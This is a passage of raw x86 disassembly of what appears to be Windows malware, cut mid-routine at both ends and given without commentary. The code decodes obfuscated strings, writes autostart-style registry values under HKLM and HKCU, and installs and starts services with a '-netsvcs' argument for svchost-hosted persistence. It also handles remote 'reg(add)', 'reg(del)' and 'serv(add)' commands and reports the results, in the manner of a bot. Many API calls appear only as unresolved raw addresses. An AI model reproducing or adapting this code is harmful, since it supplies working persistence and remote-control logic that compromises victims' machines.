arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_40E2F0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 64h
		push	ebx
		push	ebp
		push	esi
		push	edi
		lea	ecx, [esp+80h+var_54]
		call	sub_40142E
		lea	ecx, [esp+80h+var_6C]
		mov	[esp+80h+var_4], 0
		call	sub_40142E
		lea	ecx, [esp+80h+var_3C]
		mov	byte ptr [esp+80h+var_4], 1
		call	sub_40142E
		push	0
		push	5
		push	3
		push	0Eh
		push	29h
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	eax, [esp+144h+var_24]
		mov	bl, 2
		push	2Dh
		push	eax
		mov	byte ptr [esp+14Ch+var_4], bl
		call	sub_4019C4
		add	esp, 0CCh
		push	eax
		lea	ecx, [esp+84h+var_6C]
		mov	byte ptr [esp+84h+var_4], 3
		call	sub_40202C
		lea	ecx, [esp+80h+var_24]
		mov	byte ptr [esp+80h+var_4], bl
		call	sub_401226
		push	0
		push	13h
		push	5
		push	3
		push	9
		push	16h
		push	12h
		push	5
		push	2Dh
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	ecx, [esp+154h+var_24]
		push	2Dh
		push	ecx
		call	sub_4019C4
		add	esp, 0DCh
		push	eax
		lea	ecx, [esp+84h+var_3C]
		mov	byte ptr [esp+84h+var_4], 4
		call	sub_40202C
		lea	ecx, [esp+80h+var_24]
		mov	byte ptr [esp+80h+var_4], bl
		call	sub_401226
		push	0
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	edx, [esp+134h+var_24]
		push	2Dh
		push	edx
		call	sub_4019C4
		add	esp, 0BCh
		push	eax
		lea	ecx, [esp+84h+var_54]
		mov	byte ptr [esp+84h+var_4], 5
		call	sub_40202C
		lea	ecx, [esp+80h+var_24]
		mov	byte ptr [esp+80h+var_4], bl
		call	sub_401226
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_54]
		call	sub_4017EE
		mov	ebp, dword_51175C
		push	eax
		push	80000002h
		call	ebp
		mov	esi, [esp+80h+arg_4]
		mov	ecx, esi
		call	sub_40168B
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, esi
		call	sub_40168B
		mov	ebx, [esp+84h+arg_0]
		push	eax
		push	1
		push	0
		mov	ecx, ebx
		call	sub_40168B
		mov	ecx, [esp+90h+var_70]
		push	eax
		push	ecx
		nop
		call	near ptr 2940000h
		mov	edx, [esp+80h+var_70]
		push	edx
		nop
		call	near ptr 2900000h
		push	0
		lea	eax, [esp+84h+var_70]
		lea	ecx, [esp+84h+var_6C]
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		call	sub_4017EE
		push	eax
		push	80000002h
		call	ebp
		mov	ecx, esi
		call	sub_40168B
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, esi
		call	sub_40168B
		push	eax
		push	1
		push	0
		mov	ecx, ebx
		call	sub_40168B
		mov	ecx, [esp+90h+var_70]
		push	eax
		push	ecx
		call	near ptr 2940000h
		nop
		mov	edx, [esp+80h+var_70]
		push	edx
		nop
		call	near ptr 2900000h
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_54]
		call	sub_4017EE
		push	eax
		push	80000001h
		call	ebp
		mov	ecx, esi
		call	sub_40168B
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, esi
		call	sub_40168B
		push	eax
		push	1
		push	0
		mov	ecx, ebx
		call	sub_40168B
		mov	ecx, [esp+90h+var_70]
		push	eax
		push	ecx
		nop
		call	near ptr 2940000h
		mov	edx, [esp+80h+var_70]
		push	edx
		call	near ptr 2900000h
		nop
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_6C]
		call	sub_4017EE
		push	eax
		push	80000001h
		call	ebp
		mov	ecx, esi
		call	sub_40168B
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, esi
		call	sub_40168B
		push	eax
		push	1
		push	0
		mov	ecx, ebx
		call	sub_40168B
		mov	ecx, [esp+90h+var_70]
		push	eax
		push	ecx
		nop
		call	near ptr 2940000h
		mov	edx, [esp+80h+var_70]
		push	edx
		nop
		call	near ptr 2900000h
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_3C]
		call	sub_4017EE
		push	eax
		push	80000002h
		call	ebp
		mov	ecx, esi
		call	sub_40168B
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, esi
		call	sub_40168B
		push	eax
		push	1
		push	0
		mov	ecx, ebx
		call	sub_40168B
		mov	ecx, [esp+90h+var_70]
		push	eax
		push	ecx
		call	near ptr 2940000h
		nop
		mov	edx, [esp+80h+var_70]
		push	edx
		call	near ptr 2900000h
		nop
		lea	ecx, [esp+80h+var_3C]
		mov	byte ptr [esp+80h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+80h+var_6C]
		mov	byte ptr [esp+80h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+80h+var_54]
		mov	[esp+80h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+80h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 70h
		retn	8
sub_40E2F0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 120h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40E870	proc near		; CODE XREF: sub_401451j

var_70		= dword	ptr -70h
var_6C		= byte ptr -6Ch
var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_40E870
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 64h
		push	ebx
		push	ebp
		push	esi
		push	edi
		lea	ecx, [esp+80h+var_6C]
		call	sub_40142E
		lea	ecx, [esp+80h+var_3C]
		mov	[esp+80h+var_4], 0
		call	sub_40142E
		lea	ecx, [esp+80h+var_54]
		mov	byte ptr [esp+80h+var_4], 1
		call	sub_40142E
		push	0
		push	5
		push	3
		push	0Eh
		push	29h
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	eax, [esp+144h+var_24]
		mov	bl, 2
		push	2Dh
		push	eax
		mov	byte ptr [esp+14Ch+var_4], bl
		call	sub_4019C4
		add	esp, 0CCh
		push	eax
		lea	ecx, [esp+84h+var_3C]
		mov	byte ptr [esp+84h+var_4], 3
		call	sub_40202C
		lea	ecx, [esp+80h+var_24]
		mov	byte ptr [esp+80h+var_4], bl
		call	sub_401226
		push	0
		push	13h
		push	5
		push	3
		push	9
		push	16h
		push	12h
		push	5
		push	2Dh
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	ecx, [esp+154h+var_24]
		push	2Dh
		push	ecx
		call	sub_4019C4
		add	esp, 0DCh
		push	eax
		lea	ecx, [esp+84h+var_54]
		mov	byte ptr [esp+84h+var_4], 4
		call	sub_40202C
		lea	ecx, [esp+80h+var_24]
		mov	byte ptr [esp+80h+var_4], bl
		call	sub_401226
		push	0
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	edx, [esp+134h+var_24]
		push	2Dh
		push	edx
		call	sub_4019C4
		add	esp, 0BCh
		push	eax
		lea	ecx, [esp+84h+var_6C]
		mov	byte ptr [esp+84h+var_4], 5
		call	sub_40202C
		lea	ecx, [esp+80h+var_24]
		mov	byte ptr [esp+80h+var_4], bl
		call	sub_401226
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_6C]
		call	sub_4017EE
		mov	esi, dword_51175C
		push	eax
		push	80000002h
		call	esi
		mov	edi, [esp+80h+arg_0]
		mov	ecx, edi
		call	sub_40168B
		mov	ecx, [esp+80h+var_70]
		mov	ebp, dword_51176C
		push	eax
		push	ecx
		call	ebp
		mov	edx, [esp+80h+var_70]
		mov	ebx, dword_511740
		push	edx
		call	ebx
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_54]
		call	sub_4017EE
		push	eax
		push	80000002h
		call	esi
		mov	ecx, edi
		call	sub_40168B
		mov	ecx, [esp+80h+var_70]
		push	eax
		push	ecx
		call	ebp
		mov	edx, [esp+80h+var_70]
		push	edx
		call	ebx
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_6C]
		call	sub_4017EE
		push	eax
		push	80000002h
		call	esi
		mov	ecx, edi
		call	sub_40168B
		mov	ecx, [esp+80h+var_70]
		push	eax
		push	ecx
		call	ebp
		mov	edx, [esp+80h+var_70]
		push	edx
		call	ebx
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_6C]
		call	sub_4017EE
		push	eax
		push	80000001h
		call	esi
		mov	ecx, edi
		call	sub_40168B
		mov	ecx, [esp+80h+var_70]
		push	eax
		push	ecx
		call	ebp
		mov	edx, [esp+80h+var_70]
		push	edx
		call	ebx
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_3C]
		call	sub_4017EE
		push	eax
		push	80000001h
		call	esi
		mov	ecx, edi
		call	sub_40168B
		mov	ecx, [esp+80h+var_70]
		push	eax
		push	ecx
		call	ebp
		mov	edx, [esp+80h+var_70]
		push	edx
		call	ebx
		lea	ecx, [esp+80h+var_54]
		mov	byte ptr [esp+80h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+80h+var_3C]
		mov	byte ptr [esp+80h+var_4], 0
		call	sub_401226
		mov	[esp+80h+var_4], 0FFFFFFFFh
		lea	ecx, [esp+80h+var_6C]
		call	sub_401226
		mov	ecx, [esp+80h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 70h
		retn	4
sub_40E870	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 0F0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40ED00	proc near		; CODE XREF: sub_4014A1j

var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_40ED00
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 48h
		push	ebx
		push	esi
		mov	esi, ecx
		lea	ecx, [esp+5Ch+var_24]
		call	sub_40142E
		push	104h
		push	104h
		lea	ecx, [esp+64h+var_24]
		mov	[esp+64h+var_4], 0
		call	sub_401C71
		push	eax
		nop
		call	near ptr 27F0000h
		lea	ecx, [esp+5Ch+var_3C]
		call	sub_40142E
		mov	ecx, [esp+5Ch+arg_4]
		mov	byte ptr [esp+5Ch+var_4], 1
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+60h+var_24]
		call	sub_4017EE
		push	eax
		lea	eax, [esp+64h+var_3C]
		push	offset dword_444684
		push	eax
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+5Ch+var_54]
		call	sub_40142E
		lea	ecx, [esp+5Ch+var_54]
		push	offset aNetsvcs	; "-netsvcs"
		push	ecx
		mov	byte ptr [esp+64h+var_4], 2
		call	sub_40102D
		mov	ecx, [esp+64h+arg_0]
		add	esp, 8
		lea	edx, [esp+5Ch+var_54]
		lea	eax, [esp+5Ch+var_3C]
		push	edx
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_402171
		lea	ecx, [esp+5Ch+var_54]
		mov	bl, al
		mov	byte ptr [esp+5Ch+var_4], 1
		call	sub_401226
		lea	ecx, [esp+5Ch+var_3C]
		mov	byte ptr [esp+5Ch+var_4], 0
		call	sub_401226
		lea	ecx, [esp+5Ch+var_24]
		mov	[esp+5Ch+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+5Ch+var_C]
		mov	al, bl
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 54h
		retn	8
sub_40ED00	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40EE40	proc near		; CODE XREF: sub_402171j

var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0FFFFFFFFh
		push	offset SEH_40EE40
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 38h
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	0F003Fh
		push	offset aServicesactive ; "ServicesActive"
		mov	[esp+5Ch+var_44], ecx
		push	0
		nop
		call	near ptr 2900884h
		mov	edi, eax
		test	edi, edi
		jnz	short loc_40EE7F
		xor	al, al
		jmp	loc_40EFD0
; ---------------------------------------------------------------------------


loc_40EE7F:				; CODE XREF: sub_40EE40+36j
		lea	ecx, [esp+54h+var_24]
		call	sub_40142E
		mov	ecx, [esp+54h+arg_8]
		mov	[esp+54h+var_4], 0
		call	sub_4017EE
		mov	ebx, [esp+54h+arg_4]
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		lea	eax, [esp+5Ch+var_24]
		push	offset aSS_4	; "\"%s\" %s"
		push	eax
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+54h+var_24]
		push	0
		push	0
		push	0
		push	0
		push	0
		call	sub_4017EE
		push	eax
		push	1
		push	2
		push	20h
		push	0F01FFh
		mov	ecx, offset dword_449844
		call	sub_4017EE
		mov	ebp, [esp+7Ch+arg_0]
		push	eax
		mov	ecx, ebp
		call	sub_4017EE
		push	eax
		push	edi
		nop
		call	near ptr 2900C7Fh
		mov	esi, eax
		xor	ecx, ecx
		cmp	esi, ecx
		jnz	short loc_40EF65
		nop
		call	near ptr 27C093Ah
		cmp	eax, 431h
		jnz	short loc_40EF49
		mov	ecx, [esp+54h+var_44]
		push	ebp
		call	sub_401951
		mov	esi, dword_511754
		push	0
		call	esi
		push	edi
		call	esi
		mov	ecx, [esp+54h+var_44]
		push	ebx
		push	ebp
		call	sub_4014A1
		lea	ecx, [esp+54h+var_24]
		mov	bl, al
		mov	[esp+54h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, bl
		jmp	loc_40EFD0
; ---------------------------------------------------------------------------


loc_40EF49:				; CODE XREF: sub_40EE40+CBj
		push	edi
		call	near ptr 2910000h
		nop
		lea	ecx, [esp+54h+var_24]
		mov	[esp+54h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	short loc_40EFD0
; ---------------------------------------------------------------------------


loc_40EF65:				; CODE XREF: sub_40EE40+BEj
		lea	edx, [esp+54h+var_38]
		mov	[esp+54h+var_34], ecx
		mov	dword ptr [esp+54h+var_30], ecx
		push	edx
		mov	eax, 1
		or	ebx, 0FFFFFFFFh
		lea	ecx, [esp+58h+var_40]
		push	2
		push	esi
		mov	[esp+60h+var_3C], eax
		mov	[esp+60h+var_40], eax
		mov	[esp+60h+var_38], ebx
		mov	[esp+60h+var_2C], eax
		mov	[esp+60h+var_28], ecx
		call	near ptr 29102E5h
		nop
		test	eax, eax
		push	esi
		mov	esi, dword_511754
		jnz	short loc_40EFBC
		call	esi
		push	edi
		call	esi
		lea	ecx, [esp+54h+var_24]
		mov	[esp+54h+var_4], ebx
		call	sub_401226
		xor	al, al
		jmp	short loc_40EFD0
; ---------------------------------------------------------------------------


loc_40EFBC:				; CODE XREF: sub_40EE40+164j
		call	esi
		push	edi
		call	esi
		lea	ecx, [esp+54h+var_24]
		mov	[esp+54h+var_4], ebx
		call	sub_401226
		mov	al, 1


loc_40EFD0:				; CODE XREF: sub_40EE40+3Aj
					; sub_40EE40+104j ...
		mov	ecx, [esp+54h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 44h
		retn	0Ch
sub_40EE40	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40F060	proc near		; CODE XREF: sub_401951j

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  4

		sub	esp, 1Ch
		push	esi
		push	edi
		push	0F003Fh
		push	offset aServicesactive ; "ServicesActive"
		push	0
		call	near ptr 2900884h
		nop
		mov	edi, eax
		test	edi, edi
		jnz	short loc_40F087
		pop	edi
		xor	al, al
		pop	esi
		add	esp, 1Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40F087:				; CODE XREF: sub_40F060+1Bj
		mov	ecx, [esp+24h+arg_0]
		push	0F01FFh
		call	sub_4017EE
		push	eax
		push	edi
		nop
		call	near ptr 28A0000h
		mov	esi, eax
		test	esi, esi
		jnz	short loc_40F0B4
		push	edi
		call	near ptr 2910000h
		nop
		pop	edi
		xor	al, al
		pop	esi
		add	esp, 1Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40F0B4:				; CODE XREF: sub_40F060+41j
		lea	eax, [esp+24h+var_1C]
		push	eax
		push	1
		push	esi
		nop
		call	near ptr 29004E9h
		push	esi
		nop
		call	near ptr 29006EAh
		push	esi
		mov	esi, dword_511754
		call	esi
		push	edi
		call	esi
		pop	edi
		mov	al, 1
		pop	esi
		add	esp, 1Ch
		retn	4
sub_40F060	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40F100	proc near		; CODE XREF: sub_401FD2j

arg_0		= dword	ptr  4

		push	esi
		push	0F003Fh
		push	offset aServicesactive ; "ServicesActive"
		push	0
		nop
		call	near ptr 2900884h
		mov	esi, eax
		test	esi, esi
		jnz	short loc_40F11F
		xor	al, al
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_40F11F:				; CODE XREF: sub_40F100+17j
		mov	ecx, [esp+4+arg_0]
		push	0F01FFh
		call	sub_4017EE
		push	eax
		push	esi
		nop
		call	near ptr 28A0000h
		test	eax, eax
		jnz	short loc_40F146
		push	esi
		nop
		call	near ptr 2910000h
		xor	al, al
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_40F146:				; CODE XREF: sub_40F100+37j
		push	edi
		mov	edi, dword_511754
		push	eax
		call	edi
		push	esi
		call	edi
		pop	edi
		mov	al, 1
		pop	esi
		retn	4
sub_40F100	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40F180	proc near		; CODE XREF: sub_401FFAj

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	0F003Fh
		push	offset aServicesactive ; "ServicesActive"
		push	0
		nop
		call	near ptr 2900884h
		mov	edi, eax
		test	edi, edi
		jnz	short loc_40F1A1
		pop	edi
		xor	al, al
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_40F1A1:				; CODE XREF: sub_40F180+18j
		mov	ecx, [esp+8+arg_0]
		push	0F01FFh
		call	sub_4017EE
		push	eax
		push	edi
		nop
		call	near ptr 28A0000h
		mov	esi, eax
		test	esi, esi
		jnz	short loc_40F1CB
		push	edi
		nop
		call	near ptr 2910000h
		pop	edi
		xor	al, al
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_40F1CB:				; CODE XREF: sub_40F180+3Bj
		push	0
		push	0
		push	esi
		nop
		call	near ptr 28F0C10h
		push	esi
		mov	esi, dword_511754
		call	esi
		push	edi
		call	esi
		pop	edi
		mov	al, 1
		pop	esi
		retn	4
sub_40F180	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40F210:				; CODE XREF: ___:loc_4014ABj
		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset loc_43A348
		push	eax
		mov	large fs:0, esp
		sub	esp, 60h
		push	ebx
		push	esi
		mov	esi, [esp+78h]
		push	edi
		mov	edi, ecx
		lea	ebx, [esi+7Eh]
		lea	ecx, [edi+19h]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40F30A
		push	1
		push	offset asc_444600 ; " "
		lea	eax, [esp+2Ch]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4011EA
		push	1
		push	offset asc_444600 ; " "
		lea	ecx, [esp+14h]
		push	2
		xor	ebx, ebx
		push	ecx
		mov	ecx, esi
		mov	[esp+84h], ebx
		call	sub_4011EA
		lea	edx, [esp+0Ch]
		lea	eax, [esp+24h]
		push	edx
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+7Ch], 1
		call	sub_401730
		test	al, al
		jz	short loc_40F2D6
		lea	ecx, [esp+0Ch]
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+28h]
		call	sub_4017EE
		push	eax
		push	offset aRegAddSAsS_ ; "reg(add)	\"%s\" as \"%s\"."
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8085
		call	sub_401857
		add	esp, 1Ch


loc_40F2D6:				; CODE XREF: ___:0040F297j
		lea	ecx, [esp+0Ch]
		mov	[esp+74h], bl
		call	sub_401226
		lea	ecx, [esp+24h]
		mov	dword ptr [esp+74h], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebx
		mov	ecx, [esp+60h]
		mov	large fs:0, ecx
		add	esp, 6Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40F30A:				; CODE XREF: ___:0040F246j
		lea	ecx, [edi+47h]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40F3A9
		push	1
		push	offset asc_444600 ; " "
		lea	eax, [esp+2Ch]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+24h]
		mov	dword ptr [esp+74h], 2
		push	ecx
		mov	ecx, edi
		call	sub_401451
		test	al, al
		jz	short loc_40F382
		lea	ecx, [esp+24h]
		call	sub_4017EE
		push	eax
		push	offset aRegDelS_ ; "reg(del) \"%s\"."
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D8085
		call	sub_401857
		add	esp, 18h


loc_40F382:				; CODE XREF: ___:0040F34Dj
		lea	ecx, [esp+24h]
		mov	dword ptr [esp+74h], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebx
		mov	ecx, [esp+60h]
		mov	large fs:0, ecx
		add	esp, 6Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40F3A9:				; CODE XREF: ___:0040F31Cj
		lea	ecx, [edi+75h]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40F4BF
		push	1
		push	offset asc_444600 ; " "
		lea	ecx, [esp+44h]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4011EA
		push	1
		push	offset asc_444600 ; " "
		lea	edx, [esp+14h]
		push	2
		push	edx
		mov	ecx, esi
		mov	dword ptr [esp+84h], 3
		call	sub_4011EA
		push	1
		push	offset asc_444600 ; " "
		lea	eax, [esp+2Ch]
		mov	bl, 4
		push	3
		push	eax
		mov	ecx, esi
		mov	[esp+84h], bl
		call	sub_4011EA
		lea	ecx, [esp+24h]
		lea	edx, [esp+0Ch]
		push	ecx
		lea	eax, [esp+40h]
		push	edx
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+80h], 5
		call	sub_402171
		test	al, al
		jz	short loc_40F47D
		lea	ecx, [esp+24h]
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+10h]
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+44h]
		call	sub_4017EE
		push	eax
		push	offset aServAddSAsSS_ ;	"serv(add) \"%s\" as \"\"%s\" %s\"."
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8085
		call	sub_401857
		add	esp, 20h


loc_40F47D:				; CODE XREF: ___:0040F434j
		lea	ecx, [esp+24h]
		mov	[esp+74h], bl
		call	sub_401226
		lea	ecx, [esp+0Ch]
		mov	byte ptr [esp+74h], 3
		call	sub_401226
		lea	ecx, [esp+3Ch]
		mov	dword ptr [esp+74h], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebx
		mov	ecx, [esp+60h]
		mov	large fs:0, ecx
		add	esp, 6Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40F4BF:				; CODE XREF: ___:0040F3BBj
		lea	ecx, [edi+0A3h]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40F561
		push	1
		push	offset asc_444600 ; " "
		lea	eax, [esp+5Ch]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+54h]
		mov	dword ptr [esp+74h], 6
		push	ecx
		mov	ecx, edi
		call	sub_401951
		test	al, al
		jz	short loc_40F53A
		lea	ecx, [esp+54h]
		call	sub_4017EE
		push	eax
